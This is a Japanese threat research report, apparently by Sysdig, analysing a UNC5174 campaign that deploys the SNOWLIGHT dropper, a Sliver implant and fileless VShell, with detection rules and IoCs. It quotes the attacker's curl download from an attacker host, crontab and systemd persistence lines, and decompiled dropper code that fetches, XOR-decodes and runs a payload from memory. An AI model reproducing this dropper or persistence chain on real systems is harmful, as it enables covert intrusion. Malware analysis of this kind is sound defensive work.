
1年間にわたり目立たない形で活動していた後、Sysdig Threat Research Team(TRT)は、中国の国家支援型脅威アクターUNC5174による新たなキャンペーンを特定しました。私たちは、同脅威アクターが2025年1月下旬に新しいオープンソースツールとコマンド&コントロール(C2)インフラを使用していたことを確認しました。最初に発見したのは、永続化のために複数の実行ファイルをダウンロードする悪意のあるbashスクリプトでした。ダウンロードされるバイナリの1つは、UNC5174のSNOWLIGHTマルウェアの亜種であり、以前にF5デバイスを標的としたキャンペーンでMandiantによって特定され、さらにフランス国家情報システムセキュリティ庁(ANSSI)が2025年3月に公開したフランスのサイバー脅威概観レポートでも最近言及されました。
オープンソースのリバースシェルツールSUPERSHELLの使用で知られていたUNC5174は、本キャンペーンで新たに公開されたオープンソースツール「VShell」を採用しました。地下チャネルでの評判によれば、VShellは広く知られるCobalt Strikeフレームワークよりも「さらに優れている」と見なされています。2024 Global Threat Year-in-Reviewでは、脅威アクターがコスト効率と難読化の観点から、費用を抑えるため、そして今回のように国家支援ではない(かつ技術的に未熟なことが多い)攻撃者(例:スクリプトキディ)集団に紛れ込むことで帰属をさらに困難にするため、武器庫にオープンソースツールをますます取り入れていることを報告しました。これは、過去1年間、中国政府との関係が指摘されて以降も目立たない状態が続いているこの脅威アクターに、特に当てはまるように見えます。
SNOWLIGHTマルウェアは、メモリ上のみに常駐するファイルレスのペイロード「VShell」のドロッパーとして機能します。VShellは、複数のフォーラムで中国語話者のサイバー犯罪者の間で人気のあるリモートアクセス型トロイの木馬(RAT)で、主要開発者も中国語話者です。
VShellはデフォルトではマルウェアドロッパーに含まれておらず、SNOWLIGHTマルウェアとも直接結び付いていません。この特定の配布手法によるファイルレスペイロードの使用は、UNC5174にのみ帰属されています。この脅威アクターのツールのほぼすべてはカスタマイズされており、他者が容易に模倣できません。私たちが分析した手法の高度さも、同アクターの高い技術力と整合します。分析結果と本脅威アクターに関する経験に基づき、UNC5174の動機は諜報活動、そして/または侵害後に被害者環境へのアクセスを販売・仲介することだと考えています。
SNOWLIGHTとVShellは、ステルス性と高度な手法により組織に重大なリスクをもたらします。これは、C2にWebSocketを用いていること、ならびに私たちが発見したファイルレスのVShellペイロードの存在によって裏付けられます。私たちは中程度の確信度で、この脅威アクターが今後も諜報およびアクセス仲介のために、カスタムツールとオープンソースツールの拡充する武器庫、そして広範なC2インフラを用いながら、中国政府に対して断続的な支援を継続すると評価します。
Sysdigの顧客およびFalcoユーザーは、VShellの展開から保護されています。以下の分析では、観測結果の技術的な詳細を深掘りします。
UNC5174の背景
脅威アクターUNC5174は、中国政府のために活動する請負業者であると考えられています。HivePro およびMandiantによれば、UNC5174は米国、カナダ、英国などの西側諸国を標的としています。これらの国々の被害者は、研究機関、政府組織、シンクタンク、テクノロジー企業であることが多いです。UNC5174はまた、アジア太平洋地域のさまざまな非政府組織(NGO)も標的としており、場合によってはエネルギー、防衛、医療といった重要インフラ分野の企業も標的にしています。
ANSSIが2025年3月に公開した2024年フランスのサイバー脅威概観レポートによれば、UNC5174は2024年夏季オリンピック期間中にIvantiのCloud Service Appliance(CSA)製品を悪用しました。SOCRadarによると、この脅威アクターは2019年に悪意のあるメール添付ファイルを用いたフィッシングも活用してマルウェアを配布していました。また、Objective-Seeが2024年のMalware Recap Reportで報告したとおり、SNOWLIGHTマルウェアがmacOSシステムを積極的に標的としている証拠も確認しました。
本キャンペーンでUNC5174が初期侵入に何を使用しているかは不明ですが、Linuxベースのシステムを標的にしています。私たちは高い確信度で、新しいインフラがドメインスクワッティングと整合し、フィッシングやソーシャルエンジニアリングに用いられている可能性が高いと評価します。ドメインは主に既知企業になりすましており、直近の例ではCloudflareの偽装が確認されました。その他の最近のドメインでは、メッセージングアプリTelegram、金融サービス企業Huione Pay、Googleが偽装されていました。
過去のキャンペーン
SNOWLIGHTサンプルのVirusTotal(VT)タグを確認したところ、私たちが最新バイナリで観測したのと同様の方法でVShellバイナリをドロップする最初のサンプルが、2024年11月に初めて検出されていることが分かりました。それ以降、複数のドロッパーが検出されており、最新のものの1つが本キャンペーンで見つかったdnslogerサンプルです。このキャンペーンは、2024年11月以降、あまり公の注目を集めることなく継続して活動してきたと考えるのが妥当です。
SNOWLIGHTマルウェアは、実行してメモリ内にダウンロードする際に「[kworker/0:2]」という名前を使用します。VT上で関連するVShellハッシュを探す際、次のクエリを用いて、未報告のUNC5174キャンペーンに関連すると考えられる複数のバイナリを発見しました。
behaviour_processes:"/memfd:a (deleted)/ [kworker/0:2]"
これにより、2024年11月時点の追加のUNC5174 C2インフラ(googlespays[.]com)が判明しました。Googleブランドの偽装は現在のC2ドメインのパターンと一致しており、VShellバイナリを取得するために必要なパラメータも含まれています。
2024年11月のVShellバイナリも、C2ドメインapib[.]googlespays[.]com上でWebSocketプロトコルを使用しており、私たちが最新のサンプルとドメインで観測したのと同じ攻撃チェーンおよび識別可能な特徴を備えています。
UNC5174の新キャンペーン
初期侵入後、悪意のあるbashスクリプトが2つのペイロードをドロップします:dnsloger (SNOWLIGHTマルウェアに関連)とsystem_worker(SliverおよびCobalt Strikeに関連)。
この段階の主眼は、Sliverインプラントと、さらなる侵害に向けたメモリ内バックドア(VShell)をドロップして永続化を確立することです。
ドメイン分析
本キャンペーンでは、新しいC2ドメインを観測しました:
gooogleasia[.]com(Googleとは無関係)sex666vr[.]com
これらのドメインには複数のサブドメインがあり、その一部にはlogin[.]microsoftonline[.]gooogleasia[.]comのように別のブランド名が含まれています。ドメインスクワッティングはフィッシング目的で使用された可能性が高いです。
公開時点でも本キャンペーンは活動中であると私たちは高い確信度で評価します。というのも、IoCsセクションに記載した新しいドメインが2025年3月下旬時点でも検出されており、以下で詳述するのと同じ手口を示しているためです。これらには次が含まれます:
telegrams[.]icu(Telegramを偽装している可能性)huionepay[.]me(Huione Payを偽装している可能性)c1oudf1are[.]com(Cloudflareを偽装している可能性)
Gooogleasia[.]com
ドメインgooogleasia[.]comは2023年9月1日に作成され、2025年1月16日時点ではIPアドレス34[.]96[.]239[.]183に解決されました。これは香港に所在するGoogle Compute Engine(GCE)仮想マシンのIPホスト名に解決されました。GCEは、Googleのインフラ上で仮想マシンを作成・実行できるコンピューティング/ホスティングサービスです。調査中、gooogleasia[.]comおよびそのサブドメインをホストする新しいIP(34[.]96[.]252[.]230)が確認され、2025年2月21日に変更されていました。
私たちは、2024年12月から2025年1月にかけて使用された複数のサブドメインを特定しました。最新のものはvs[.]gooogleasia[.]comで、同じIPアドレスを使用していました。
MalTrailも、gooogleasia[.]comの複数サブドメインをCobalt StrikeのC2として分類しています。
evil[.]gooogleasia[.]comaccount[.]gooogleasia[.]comks[.]evil[.]gooogleasia[.]combtt[.]evil[.]gooogleasia[.]com
VTコミュニティコンテンツのユーザーは、同一IP上のポート8888および443で複数のSliver C2サーバーを特定しており、これは私たちが発見したSliverインプラントであるsystem_workerペイロードの使用とも一致します。
Sex666vr[.]com
本キャンペーンで使用されたもう一方のC2ドメイン sex666vr[.]comについては、IPアドレス34[.]91[.]68[.]192に解決されます。このIPは2024年10月に最後に確認されているため、UNC5174は本キャンペーンでこのIPをもはや使用していないと考えています。
技術分析
download_backd.sh
SHA256ハッシュ:c0838b1211d482d21ccb2c9cc9fb224d1f826474d496a76d21ca18fa2ef92bc1
これは、dnslogerおよびsystem_workerバイナリをダウンロードして実行する元のbashスクリプトです。シェルスクリプトには、ドロップされた悪意ある実行ファイルが期待されるMD5ハッシュに一致するかを検証するためのさまざまな関数が含まれています。一致しない場合、スクリプトは再ダウンロードを試みます。
# 2. 若檢查未通過,重新下載和部署
echo "Downloading $executable..."
curl -sL "http://gooogleasia.com:8080/download_$executable" -o "/tmp/$executable"
chmod +x /tmp/$executable
このスクリプトは、rootとして実行されているかどうか(id -u = 0)も確認します。rootでない場合、ダウンロードした実行ファイルは/tmpに保持されます。rootで実行されている場合、スクリプトは実行ファイルを/usr/bin/へ移動し、より永続的にし、削除を困難にし、他の正規バイナリに紛れ込ませる可能性があり、さらにシステム全体からアクセス可能にします。
if [ "$(id -u)"= "0" ]
echo "Running as non-root user, keeping them in /tmp"Set the file timestamp to match the target folder
touch --reference=/usr/bin /tmp/$executable
永続化のため、スクリプトはcrontabを悪用し、実行ファイルが毎時および再起動後に実行されるよう追加し、最後にバックグラウンドで起動します。
Add the programs to crontab for execution at reboot and every hour
echo "Adding programs to crontab..."(crontab -l 2>/dev/nullecho "@reboot /usr/bin/$executable1"echo "@reboot /usr/bin/$executable2"echo "0 * * * * /tmp/$executable1"echo "0 * * * * /tmp/$executable2")
スクリプトは、2つの悪意あるバイナリdnslogerおよびsystem_workerを、systemd(新しいシステム)またはinit.d(古いシステム)を介して起動時に実行されるよう設定します。Systemctlを使用してsystemd設定を再読み込みし、最終的に悪意あるサービスを起動します。init.dを使用するシステムでは、スクリプトはchkconfigを使用してサービスがブート時に起動するようにします。
cat <<EOF > /etc/systemd/system/$executable.service
[Unit]
Description=$executable Application Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/$executable
Restart=always
RestartSec=3600
[Install]
WantedBy=multi-user.target
echo "Setting up systemd service for $executable..."
retry_with_timeout "systemctl daemon-reload"
retry_with_timeout "systemctl enable $executable.service"
retry_with_timeout "systemctl start $executable.service"
SNOWLIGHT
ペイロード名:dnsloger
SHA256:e6db3de3a21debce119b16697ea2de5376f685567b284ef2dee32feb8d2d44f8
ダウンロードされた実行ファイルdnslogerは、以前にHiveProが報告したとおり、UNC5174が使用するSNOWLIGHTマルウェアファミリーの一部としてVTで検出されています。このマルウェアは、Linux内部構造、永続化、防御回避、インジェクション技術に関するより深い知識を示す複数の動作を実行します。
無料のリバースエンジニアリングツールradare2でマルウェアを解析すると、一部のパラメータやファイル名がハードコードされていることが分かります。例えば、ユーザーエージェント(User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48. 0) Gecko/20100101 Firefox/48.0)や、C2サーバー(vs[.]gooogleasia[.]com)です。
Ghidraでバイナリを逆コンパイルすると、次のCコードになります:
{
int iVar1;
in_addr_t iVar2;
int iVar3;
int iVar4;
hostent *phVar5;
ssize_t sVar6;
byte *pbVar7;
long lVar8;
char *pcVar9;
ushort uVar10;
bool bVar11;
byte bVar12;
undefined4 local_1c4c;
char *local_1c48;
undefined8 local_1c40;
sockaddr local_1c38;
char local_1c28 [1024];
char local_1828 [1024];
char local_1428 [1024];
byte local_1028 [4104];
bVar12 = 0;
iVar1 = access("/tmp/log_de.log",0);
if (iVar1 != 0) {
local_1c38.sa_data[6] = '\0';
local_1c38.sa_data[7] = '\0';
local_1c38.sa_data[8] = '\0';
local_1c38.sa_data[9] = '\0';
local_1c38.sa_data[10] = '\0';
local_1c38.sa_data[0xb] = '\0';
local_1c38.sa_data[0xc] = '\0';
local_1c38.sa_data[0xd] = '\0';
local_1c38.sa_family = 2;
local_1c38.sa_data[0] = ' ';
local_1c38.sa_data[1] = -5;
local_1c38.sa_data[2] = '\0';
local_1c38.sa_data[3] = '\0';
local_1c38.sa_data[4] = '\0';
local_1c38.sa_data[5] = '\0';
phVar5 = gethostbyname("vs.gooogleasia.com");
if (phVar5 == (hostent *)0x0) {
iVar2 = inet_addr("vs.gooogleasia.com");
}
else {
iVar2 = *(in_addr_t *)*phVar5->h_addr_list;
}
local_1c38.sa_data._2_4_ = iVar2;
iVar1 = socket(2,1,0);
if (-1 < iVar1) {
local_1c4c = 10;
setsockopt(iVar1,6,7,&local_1c4c,4);
while (iVar3 = connect(iVar1,&local_1c38,0x10), iVar3 == - 1) {
sleep(10);
}
uVar10 = (ushort)local_1c38.sa_data._0_2_ >> 8 | local_1c 38.sa_data._0_2_ << 8;
sprintf(local_1c28,
"GET /?a=%s&h=%s&t=%s&p=%d HTTP/1.1\r\nHost: % s:%d\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48. 0) Gecko/20100101 Firefox/48.0\r\n\r\n"
,"l64","vs.gooogleasia.com","ws_",(uint)uVar10,"vs.goo ogleasia.com",(uint)uVar10);
send(iVar1,local_1c28,0x400,0);
pcVar9 = local_1c28;
for (lVar8 = 0x100; lVar8 != 0; lVar8 = lVar8 + -1) {
pcVar9[0] = '\0';
pcVar9[1] = '\0';
pcVar9[2] = '\0';
pcVar9[3] = '\0';
pcVar9 = pcVar9 + (ulong)bVar12 * -8 + 4;
}
iVar3 = 0;
while( true ) {
sVar6 = recv(iVar1,local_1828,1,0);
if (((int)sVar6 < 1) ||
((((bVar11 = local_1828[0] == '\n', local_1828[iVar3] = l ocal_1828[0], bVar11 &&
(local_1828[iVar3 + -1] == '\r')) && (local_1828[iVar3 + -2] == '\n')) &&
(local_1828[iVar3 + -3] == '\r')))) break;
iVar3 = iVar3 + (int)sVar6;
}
lVar8 = syscall(0x13f,&DAT_00400e50,1); // Sysdig: memfd_create
iVar3 = (int)lVar8;
if (-1 < iVar3) {
while( true ) {
sVar6 = recv(iVar1,local_1028,0x1000,0);
iVar4 = (int)sVar6;
pbVar7 = local_1028;
if (iVar4 < 1) break;
do {
*pbVar7 = *pbVar7 ^ 0x99;
pbVar7 = pbVar7 + 1;
} while ((int)pbVar7 - (int)local_1028 < iVar4);
write(iVar3,local_1028,(long)iVar4);
}
for (lVar8 = 0x400; lVar8 != 0; lVar8 = lVar8 + -1) {
pbVar7[0] = 0;
pbVar7[1] = 0;
pbVar7[2] = 0;
pbVar7[3] = 0;
pbVar7 = pbVar7 + (ulong)bVar12 * -8 + 4;
}
close(iVar1);
realpath((char *)*param_2,local_1428);
setenv("CWD",local_1428,1);
local_1c48 = "[kworker/0:2]";
local_1c40 = 0;
fexecve(iVar3,&local_1c48,environ);
close(iVar1);
}
}
return0;
}
/* WARNING: Subroutine does not return */
exit(0);
}
このコードはまず、ログファイル(/tmp/log_de.log)の存在を確認します。存在しない場合、ネットワーク通信のためのソケットを設定し、リモートサーバーへの接続を試みます。次にvs[.]gooogleasia[.]comを解決して接続し、ハードコードされたユーザーエージェントなど特定のクエリパラメータを含むHTTP GETリクエストを送信します。
SNOWLIGHTマルウェアは、recvfromシステムコールを通じてネットワーク上のデータ受信を試みます。これはソケットからデータを読み取るシステムコールで、通常はUDPまたはTCP通信に用いられます。ネットワークサーバーやクライアントなど、ネットワーク越しにメッセージを受信する必要があるアプリケーションで一般的に使用されます。この攻撃チェーンの文脈では、recvfromシステムコールは、追加のペイロード受信やC2サーバーとの通信のために設定されている可能性があります。
その後、マルウェアはサーバーからのデータ受信を待ち、データを0x99でXORします。これは、処理前に内容を難読化または暗号化しようとする試みを示唆します。最後に、「CWD」という環境変数にカレントワーキングディレクトリを設定するなど、環境変数を操作するためのシステム関数を使用します。
Sliver
ペイロード名:system_worker
SHA-256:21ccb25887eae8b17349cefc04394dc3ad75c289768d7ba61f51d228b4c964db
ダウンロードされた実行ファイルsystem_workerは、2025年1月19日時点でVT上でSliverマルウェアとして分類されました。これはUPXでパックされており、さらにgobfuscateで難読化されています。私たちは、GitHubで入手可能なGhidra用「degobfuscate.py」プラグインを用いて復号化し、アンパック後のバイナリの機能がSliverのGoパッケージで見つかるものと同一であることを確認しました。
Sliverインプラントは、C2オペレーションで使用されるマルウェアの一種で、攻撃者に侵害されたシステムへのリモート制御を提供します。標的マシンに展開されると、インプラントは攻撃者の足掛かりとなり、悪意ある操作の実行、情報収集、そして/または感染システムの遠隔制御を可能にします。
system_workerの実行時挙動ログを分析したところ、以下に示すとおり、このバイナリがsex666vr[.]comでホストされる複数のC2サブドメインへ接続していることが分かりました:
259516:18:10.0875066631 vt_21ccb25887ea (12080.12080) < read res=62 data=.*...........mtls.sex666vr.com..............,.."`....)........
10051 16:19:10.356965588 1 vt_21ccb25887ea (12080.12090) < read res=112 data=.P...........wg.gooogleasia.com................5.ns1.name...hostmaster.nsone....
34257 16:22:17.391257404 1 vt_21ccb25887ea (12080.12099) < write res=47 data=A............https.sex666vr.com.......)........
より具体的には、このバイナリはSliverインプラントに典型的な安全な通信チャネル(相互TLS(mTLS)、WireGuard、HTTPS)を使用しています。これらのプロトコルは、言及されたサブドメインから確認できます。
VShell
名称:ファイルレス(memfd)
SHA256:8d88944149ea1477bd7ba0a07be3a4371ba958d4a47b783f7c10cbe08c5e7d38
dnsloger(SNOWLIGHT)バイナリは、C2サーバーへの巧妙に作成されたGETリクエストを通じてVShellバイナリをダウンロードします。これは、以下のsendtoシステムコールログから確認できます:
201116:09:00.7206638421 vt_e6db3de3a21d (12202.12202) < sendto res=1024 data=GET /?a=l64&h=vs.gooogleasia.com&t=ws_&p=8443 HTTP/1.1..Host: vs.gooogleasia.... A
VShellは、侵害されたシステムへリモートでアクセスし制御するために使用されるバックドアです。このバイナリは2024年にGitHub上で利用可能となり、ユーザー「veo」が「vshell」リポジトリで公開しました。本キャンペーンでは、ドロッパーであるSNOWLIGHTによってmemfd_create(syscall 0x13f)を通じて作成されます。これはファイルレスマルウェアの特徴であり、悪意あるコードが完全にメモリ上に常駐しディスクに触れないため、従来のファイルベースのスキャン手法では検出が困難になります。
237716:09:00.9237282391 vt_e6db3de3a21d (12202.12202) < memfd_create fd=4(<m>a) name=a flags=1(MFD_CLOEXEC)
これはシステムプロセス([kworker/0:2])に偽装され、上記SNOWLIGHTセクションの逆コンパイルコードに示したとおり、fexecveシステムコールを通じて実行されます。このシステムコールは、ファイルディスクリプタとして開かれたバイナリの実行を可能にします。ファイルパスを渡す代わりに、開かれたファイルディスクリプタをfexecve()に渡すことで、メモリからプログラムが実行されます。また、現在のプロセスからアクセス可能なすべての環境変数も引き継ぎます。
fexecve(iVar3, &local_1c48, environ);
このバイナリはGobfuscateで難読化されており、ファイルレスバイナリに典型的な.exe名を持ち、「memfd.」という接頭辞が付いています。作成時に選ばれるファイル名は「a」で、後に正規のカーネルプロセスに紛れ込むため「kworker」へ変更されます。
背景
この記事によれば、VShellの元の開発者は法的理由によりリリースを完全に削除することを決めましたが、インターネット上では依然として流通しています。さらに、ライセンスが失効しているため、技術的にはもはや合法的に使用できません。それでもこの記事は、ライセンス失効を回避してVShellを設定する方法へのリンクを提示しています。
VShellの中国語の正式名称をオンラインで検索すると、以下のように、サードパーティのファイル共有サイトからバイナリを含むzipアーカイブをダウンロードできることが分かります:
もちろん、GitHub上にはVShell本体と使用方法のドキュメントを含むクローンリポジトリも多数存在します。
VShellは公開以来、主にリモートアクセスおよびC2目的で悪用されてきました。RAT(Remote Access Trojan)として機能し、悪用者が任意のコマンドを実行したり、ファイルをダウンロード/アップロードしたりできるようにします。
このマルウェアについて私たちが調査した想定ユースケースによれば、VShellのクライアントは標的システムに応じてC2からダウンロード可能です。VShellコンソールを通じて追加ダウンロード可能なペイロード名は、私たちの調査で取得できたもの(例:linux_i386)と対応しています。
上の画像から、さまざまなペイロードが、VShellメインコンソールに接続された感染マシン上で、Linux/Windows/macOS向けのシェルコードや悪意あるバイナリをインジェクトできることが分かります。このマルウェアは、侵害されたマシンからのファイルのアップロード/ダウンロードもサポートします。
メモリ操作
実行されると、VShellはシステム上で一連の疑わしいメモリ操作を行います。複数のメモリマッピング(mmapおよびmmap2システムコール)を実行し、fd=-1(ファイルディスクリプタなしを示す)に加えてMAP_PRIVATE | MAP_ANONYMOUSのようなフラグを組み合わせています。これは、プロセスがいかなるファイルにも関連付けずにメモリを割り当てていることを示唆します。
このプロセスは、見かけ上ランダムな大きなメモリブロックを繰り返し割り当てています。これらのマッピングの一部は非常に大きく(例:64MB、128MB、512MB)、PROT_NONE保護で割り当てられています。これはメモリにアクセス(読み書き)できないことを意味します。この「空白」メモリは後に実行可能アクセス(PROT_EXEC)を許可するよう変更され得るため、ファイルレスマルウェアでよく見られる挙動です。攻撃者のC2から追加ペイロードが送信され得ることを踏まえると、これらのアクセス不能なメモリ領域は、そのような追加ペイロードに備えてマップされていると考えるのが妥当です。
私たちは、VShellがダウンロードするペイロードやシェルコードが不審なほど大きくなり得るため、20MBから1KBのシェルコードへ圧縮してサイズを削減する方法を解説した記事も見つけました。
コマンド&コントロール
書き込みデータにUpgrade: websocketおよびConnection: Upgradeヘッダーが存在することから、プロセスがポート8443上のvs[.]gooogleasia[.]comに対して、HTTP接続からWebSocket接続へアップグレードしようとしていることが分かります。WebSocketは単一のTCP接続上で双方向の通信チャネルを提供し、リアルタイムであるためファイルのアップロード/ダウンロードにおけるオーバーヘッドが少なくなります。
1194916:09:03.10715592914 (12202.12202) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...
1196316:09:03.29790324114 (12202.12202) < read res=129 data=HTTP/1.1101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...
1243716:09:04.38760208714 (12202.12213) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...
1251516:09:04.57675484914 (12202.12213) < read res=129 data=HTTP/1.1101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...
1287116:09:05.34551736914 (12202.12213) < write res=163 data=GET /w HTTP/1.1..Host: vs.gooogleasia.com:8443..Upgrade: websocket..Connectio...
1293916:09:05.53625916704 (12202.12202) < read res=129 data=HTTP/1.1101 Switching Protocols..Upgrade: websocket..Connection: Upgrade..Se...
C2にWebSocketを選ぶこと自体は新しいものではありませんが、マルウェアとしては典型的な選択でもありません。これまでの年月の中で、WebSocketをC2通信に使用するマルウェアを記録した報告はいくつかあり、例えばPY#RATIONなどがあります。WebSocket C2は標準的な手法に比べて攻撃者側の構成が煩雑で、通常はポート80または443で動作します。
本件では、攻撃者はVShellをHTTPSポート(8443)で動作するよう設定しています。これは重要です。なぜならHTTPSトラフィックは暗号化されるためです。私たちの実行時キャプチャでは、接続がWebSocketにアップグレードされた後、いくつかのランダムな単語を除いて、ネットワークトラフィックに特筆すべき内容は見つかりませんでした。
感染ホストがUI(以下に示す)で管理されていることを踏まえると、UNC5174がWebSocketを好むのは、ペイロードを侵害マシンへリアルタイムかつ暗号化トラフィック上で送信できるためだと考えられます。これまでに、ウイルス対策ソリューションがWebSocket上のマルウェアC2通信を見逃したという報告もいくつかあるため、脅威アクターが防御回避の目的で、より一般的でないC2チャネルを利用しようとしている可能性もあります。
WebSocketの選択は、私たちが分析したすべてのVShellバイナリに共通しているわけではなく、(主にTCPとUDPを中心とした)複数のプロトコルが含まれていました。私たちの知る限り、VShellでWebSocketを使用している点は、本キャンペーンおよびそのドロッパーであるSNOWLIGHTの識別的特徴です。
結論
本キャンペーンは、中国の国家支援型脅威アクターUNC5174における新たな動向を示しています。Mandiantが最初に報告したとおり、SNOWLIGHTはカスタムドロッパーであり、侵害環境に足掛かりを築いてさらなる侵害(諜報活動やアクセスの再販を含む可能性が高い)を行うために使用されます。この新キャンペーンでは、人気の高いオープンソースの中国製RATであるVShellが、脅威アクターのツールセットに取り込まれています。
SNOWLIGHTとVShellは、WebSocketの使用やファイルレスVShellペイロードの利用など、分析した技術・手法がより高い技術知識を示しているため、組織に重大なリスクをもたらします。この脅威アクターがVShellを使用していることに関する公的ドキュメントが欠如している点は示唆的であり、私たちが収集した証拠は、このキャンペーンが少なくとも2024年11月以降活動していることを示しています。私たちは中程度の確信度で、この脅威アクターが中国政府への支援を継続し、関心国に所在する組織へのアクセス獲得を意図して武器庫を拡充していくと評価します。UNC5174はまた、新しいツールと急速に変化するネットワークインフラを伴うファイルレスペイロードの使用など、検知とアラートを最小化するためのステルス手法を引き続き用いる可能性が高いです。
UNC5174キャンペーンの検知
Sysdigの顧客は、以下のルールによりVShellの展開から保護されています。
Falcoユーザーは、以下のルールを適用してVShellの脅威を検知できます。
Falco
Sysdig Runtime Threat Detection
親プロセス(SNOWLIGHT)によるVShell実行を検知します。
- rule: Fileless Malware Detected (memfd)
desc: This rule detects the loading and execution of a fileless ELF malware, indicating potential memory-based attacks. An attacker could leverage this technique to bypass traditional file-based detection methods and evade detection by executing malicious code directly in memory.
condition: spawned_process and proc.is_exe_from_memfd=true and evt.arg.flags contains "EXE_FROM_MEMFD" and proc_exepath_exists
output: An ELF %proc.exe was loaded and executed in memory on %container.name and parent %proc.pname under user %user.name (evt.type=%evt.type proc.exe=%proc.exe proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] container.name=%container.name image=%container.image.repository:%container.image.tag proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline gcmdline=%proc.acmdline[2] proc.cwd=%proc.cwd user.name=%user.name user.loginuid=%user.loginuid user.uid=%user.uid user.loginname=%user.loginname proc.pid.ts=%proc.pid.ts proc.ppid.ts=%proc.ppid.ts proc.hash.sha256=%proc.hash.sha256)
priority: CRITICAL
Sysdig Runtime Threat Detection
C2から追加ペイロードをメモリ内にダウンロードする前の、VShell準備段階を検知します。
- rule: Memory Manipulation by Fileless Program
desc: Detects the allocation of large, anonymous unused memory regions (64 MB or more) by a process, where the memory is not associated with a file descriptor, and the process is executed directly from memory, where the allocated space gets reserved for later use. This behavior is characteristic of fileless payloads that reside and execute entirely in memory without writing to disk, evading traditional file-based detection mechanisms.
condition: (evt.type in (mmap,mmap2) and evt.dir = > and evt.rawarg.length >= 67108864 and evt.arg.flags contains "MAP_PRIVATE" and evt.arg.flags contains "MAP_ANONYMOUS" and evt.arg.prot contains "PROT_NONE" and fd.num = -1 and proc.is_exe_from_memfd = true and proc_exepath_exists)
output: Fileless process %proc.exe allocated a large amount of memory %evt.arg.length on %container.name under user %user.name (evt.type=%evt.type proc.exe=%proc.exe proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] container.name=%container.name image=%container.image.repository:%container.image.tag proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline gcmdline=%proc.acmdline[2] proc.cwd=%proc.cwd user.name=%user.name user.loginuid=%user.loginuid user.uid=%user.uid user.loginname=%user.loginname fd.num=%fd.num evt.arg.prot=%evt.arg.prot evt.arg.flags=%evt.arg.flags evt.arg.length=%evt.arg.length)
tags: [host, container]
priority: CRITICAL
YARA
Sysdigの顧客は、以下のYARAルールを活用してSNOWLIGHTの脅威も検知できます。
rule SNOWLIGHT_DROPPER_SYSDIG
{
meta:
author = "Alessandra Rizzo"
description = "This rule detects strings seen in SNOWLIGHT malware acting as a dropper for fileless payloads."
md5 = "96f307b0ba3bb11715fab5db8d61191f"
platforms = "Linux"
malware_family = "SNOWLIGHT"
strings:
$http_get_request = { 7773 5f 00 6c 36340047455420 2f 3f 61 3d 25732668 3d 25732674 3d 25732670 3d 2564 }
$user_agent = { 55736572 2d 416765 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 3020285769 6e 64 6f 777320 4e 542036 2e 31 3b 207276 3a 3438 2e 302920476563 6b 6f 2f 3230313030313031204669726566 6f 78 2f 3438 2e 30 }
$fileless_payload_masked_name = { 5b 6b 77 6f 72 6b 6572 2f 30 3a 32 }
condition:
uint32(0) == 0x464c457f and all of them
}
IoCs
| IoCタイプ | IoC | 注記 |
| ドメイン | vs[.]gooogleasia[.]com | VShellコンソール |
| IPアドレス | 34[.]96[.]239[.]183 | C2アドレス |
| IPアドレス | 8[.]219[.]171[.]47 | C2アドレス |
| ドメイン | apib[.]googlespays[.]com | SNOWLIGHTドロッパードメイン(2024年11月) |
| IPアドレス | 188[.]114[.]97[.]3 | C2アドレス |
| URL | http://vs[.]gooogleasia[.]com:8443/?a=l64&h=vs.gooogleasia.com&t=ws_&p=8443 | VShellペイロードダウンローダー |
| SHA256 | e6db3de3a21debce119b16697ea2de5376f685567b284ef2dee32feb8d2d44f8 | SNOWLIGHT |
| SHA256 | 8d88944149ea1477bd7ba0a07be3a4371ba958d4a47b783f7c10cbe08c5e7d38 | VShell |
| SHA256 | 21ccb25887eae8b17349cefc04394dc3ad75c289768d7ba61f51d228b4c964db | Sliverインプラント |
| ドメイン | sex666vr[.]com | C2ドメイン |
| IPアドレス | 34[.]55[.]187[.]149 | C2アドレス |
| URL | http://ciscocdn[.]com:8888/supershell/compile/download/x64 | SuperShellダウンローダー(過去キャンペーンの一部である可能性) |
| URL | http://www[.]bing-server[.]com:443 | 過去キャンペーンの一部である可能性のあるURL |
| SHA56 | 6579defcd1326efad359c59cfe9a76d7df375e54f6e977dd880d10f81325999e | SNOWLIGHT(2024年11月キャンペーン) |
| SHA256 | f064fdd24c56f2d20f1a6a32fc7edbd3848f962b25965b788b0dc725eeab9db4 | VShell(2024年11月キャンペーン) |
| ドメイン | evil[.]gooogleasia[.]com | 特定されたサブドメイン |
| ドメイン | account[.]gooogleasia[.]com | 特定されたサブドメイン |
| ドメイン | ks[.]evil[.]gooogleasia[.]com | 特定されたサブドメイン |
| ドメイン | btt[.]evil[.]gooogleasia[.]com | 特定されたサブドメイン |
| IPアドレス | 34[.]150[.]33[.]237 | gooogleasia[.]comをホスト |
| IPアドレス | 34[.]96[.]169[.]109 | gooogleasia[.]comをホスト |
| IPアドレス | 34[.]92[.]255[.]51 | gooogleasia[.]comをホスト |
| IPアドレス | 34[.]131[.]20[.]34 | gooogleasia[.]comをホスト |
| IPアドレス | 34[.]131[.]242[.]33 | gooogleasia[.]comをホスト |
| IPアドレス | 34[.]126[.]97[.]166 | gooogleasia[.]comをホスト |
| ドメイン | mtls[.]sex666vr[.]com | Sliver C2 |
| ドメイン | wg[.]gooogleasia[.]com | Sliver C2 |
| ドメイン | https[.]sex666vr[.]com | Sliver C2 |
| ドメイン | samsungcdn[.]com | 過去のC2 |
